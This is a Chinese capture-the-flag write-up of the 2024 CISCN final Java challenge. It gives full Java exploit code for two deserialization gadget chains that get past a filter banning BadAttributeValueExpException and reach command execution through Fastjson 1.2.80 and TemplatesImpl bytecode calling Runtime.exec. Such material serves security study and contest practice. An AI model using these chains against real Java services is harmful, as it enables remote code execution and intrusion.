前言
Fastjson反序列化原生利用是找到一个能够readObject的类,调用toString方法,然后调用toJSONString方法,再调用getter,实现反序列化利用。
最经典利用链:
BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter
但是如果通过重写resolevclass让BadAttributeValueExpException被过滤了,并且Fastjson还是高版本又改如何利用?
2024 CISCN决赛WAF掉BadAttributeValueExpException的高版本Fastjson原生反序列化
当时决赛时候这个Java压轴题最后只有很少的解,现拿来回顾复现探索两条反序列化链成功解决,下面将详细写出几个新的利用链供师傅们学习交流
题目关键源码如下
User类
public class User implements Serializable {
public String name;
public Map info;
public User() {
}
public Map getInfo() {
return this.info;
}
public void setInfo(Map info) {
this.info = info;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public User(String name) {
this.name = name;
}
}
反序列化漏洞点
@Mapping("/api")
@Post
public String api(Map map, Context ctx) throws Exception {
if (map.size() != new JSONObject(ctx.body()).length()) {
return ((User) deserialize((String) map.get("data"))).getName();
}
return "success";
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;
@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
}.readObject();
}
}
观察发现禁用了BadAttributeValueExpException并且必须为User的子类
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.noear</groupId>
<artifactId>solon-parent</artifactId>
<version>2.8.4</version>
<relativePath />
</parent>
<groupId>com.example</groupId>
<artifactId>solon_master</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<description>Demo project for Solon</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon-api</artifactId>
</dependency>
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon.logging.logback</artifactId>
</dependency>
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.json</groupId>
<artifactId>json</artifactId>
<version>20230618</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon.view.freemarker</artifactId>
</dependency>
</dependencies>
<build>
<finalName>${project.artifactId}</finalName>
<plugins>
<plugin>
<groupId>org.noear</groupId>
<artifactId>solon-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
<!-- <repositories> -->
<!-- <repository>-->
<!-- <id>tencent</id>-->
<!-- <url>https://mirrors.cloud.tencent.com/nexus/repository/maven-public/</url>-->
<!-- <snapshots>-->
<!-- <enabled>false</enabled>-->
<!-- </snapshots>-->
<!-- </repository>-->
<!-- </repositories>-->
</project>
依赖中只有fastjson 1.2.80高版本由此想到原生反序列化利用链,但是还有WAF限制需要寻找新的Gadget
Gadget寻找readobject触发tostring
BadAttributeValueExpException->tostring
这条是被题目waf掉的最经典的触发tostring的链子,主要利用代码如下
JDK原生可用
package com.xiinnn;
import com.xiinnn.template.ToStringClass;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
// BadAttributeValueExpException#readObject -> getter
public class BAVEReadObject2ToString {
public static void main(String[] args) throws Exception{
ToStringClass toStringClass = new ToStringClass();
BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
setFieldValue(bave, "val", toStringClass);
byte[] bytes = serialize(bave);
unserialize(bytes);
}
public static void setFieldValue(Object obj, String field, Object val)
throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unserialize(byte[] bytes) throws IOException, ClassotFoundException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}
HotSwappableTargetSource#equals-> toString
利用这一个HotSwappableTargetSource新链通过equal触发tostring
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
HotSwappableTargetSource 是在 Spring AOP 中出现的一个类是spring 原生的 toString 利用链。
依赖条件 ● jackson-databind、spring-aop
HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法:
@Override
public boolean equals(Object other) {
return (this == other || (other instanceof HotSwappableTargetSource &&
this.target.equals(((HotSwappableTargetSource) other).target)));
}
this.target 可以在构造方法中赋值:
public HotSwappableTargetSource(Object initialTarget) {
Assert.notNull(initialTarget, "Target object must not be null");
this.target = initialTarget;
}
gadget代码如下
public static void main(String[] args) throws Exception {
Object templatesimpl = null;
JSONObject jsonObject = new JSONObject();
jsonObject.put("g","m");
JSONObject jsonObject1 = new JSONObject();
jsonObject1.put("g",templatesimpl);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(v1,v1);
hashMap.put(v2,v2);
setValue(v1,"target",jsonObject1);
// 用于Reference包裹绕过FastJSon高版本resolveClass黑名单检查,from Y4tacker
/* HashMap<Object,Object> hhhhashMap = new HashMap<>();
hhhhashMap.put(tpl,hashMap);*/
serialize(hashMap);
unserialize("ser.bin");
}
public static void setValue(Object obj,String field,Object value) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
Xtring利用链绕过
在XString#equals方法中,调用了obj2的toString()方法
那么我们前面可以用CC7的Hashmap#readobject触发equal的链子,然后XString#equal触发JSON的toString方法即可完成链子
但是由于是高版本fastjson,我们需要使用引用绕过:
List<Object> arrays = new ArrayList<>();
arrays.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
arrays.add(getXString(jsonArray));
Map<String, Object> map = new HashMap<>();
map.put("yy", arrays);
User类刚好有一个map属性可以利用,同时将hashmap放进User的属性里面
User user = new User();
user.setInfo(map);
完整链子如下:
package exp;
import com.alibaba.fastjson.JSONArray;
import com.example.demo.User;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.*;
import static exp.Poc.genPayload;
import static exp.Poc.setValue;
public class Exp {
public static HashMap getXString(Object obj) throws Exception{
XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("yy",xstring);
hashMap1.put("zZ",obj);
hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);
HashMap hashMap = new HashMap();
hashMap.put(hashMap1, 1);
hashMap.put(hashMap2, 2);
return hashMap;
}
public static Object getPayload() throws Exception {
String command = "open -a calculator";
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
List<Object> arrays = new ArrayList<>();
arrays.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
arrays.add(getXString(jsonArray));
Map<String, Object> map = new HashMap<>();
map.put("yy", arrays);
User user = new User();
user.setInfo(map);
return user;
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;
@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
}.readObject();
}
public static void main(String[] args) throws Exception {
Object obj = getPayload();
byte[] payload = serialize(obj);
// deserialize(payload);
deserialize(Base64.getEncoder().encodeToString(payload));
}
}
eventListenerList利用链绕过
前半段链子使用eventListenerList触发toString
EventListenerList -->
UndoManager#toString() -->
Vector#toString()
后半段仍为json触发TemplatesImpl利用链
JSONArray#toString ->
JSONArray#toJSONString ->
getter#toString
payload如下:
package exp;
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
import com.example.demo.User;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Poc {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
//恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
//使用链子BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter#toString
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
HashMap hashMap = new HashMap();
hashMap.put(templates,eventListenerList);
//使用user类进行序列化
User user=new User();
user.setInfo(hashMap);
byte[] bytes=serialize(user);
deserialize(Base64.getEncoder().encodeToString(bytes));
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;
@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
}.readObject();
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
成功弹出计算器完结!